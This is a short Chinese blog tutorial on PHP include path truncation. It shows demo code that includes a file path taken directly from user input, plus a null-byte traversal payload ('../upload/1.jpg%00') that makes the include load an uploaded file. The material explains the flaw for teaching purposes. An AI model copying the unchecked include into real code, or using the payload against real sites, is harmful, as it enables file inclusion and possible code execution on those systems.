php 的include结构可以用于包含并运行指定文件,不过文件的路径在一些情况下会被截断,比如路径中包含ascii值为0的字符。先上一段演示代码:
$s=$_GET['s'];
$path = "demo/$s/";
include($path."style.css");
?>
这是很普通的一段代码,根据用户输入的$s值,包含demo目录下的$s目录下的style.css文件(O(∩_∩)O,示例代码,别管有什么实际用处)。
看到这段代码,首先就想到 $s可以随意伪造,不过无论我们怎么伪造,似乎都没有多大利用价值,因为
include(“demo/../upload/1.jpg/style.css")或者是
include("demo/../upload/1,jpg?/style.css")等等构造出来的,都不符合include的路径规定,都会抛出异常。
不过事实上,因为include的路径可以被截断,所以有了下面的利用方式:
include("demo/../upload/1.jpg".chr(0)."/style.css")
在chr(0)处会发生截断,上面这句就等效于include("upload/1.jpg"),漏洞爆出来了^_^,接下来,就是怎么让$s成为我们希望的值(假设开始的那段演示代码保存在test.php里)
/test.php?s=../upload/1.jpg%00
后面的%00就是我们要的,这样路径就会被截断了
文章作者:荆棘鸟 本文地址:/?p=3092
如果觉得《php截断 php include 路径截断漏洞的利用》对你有帮助,请点赞、收藏,并留下你的观点哦!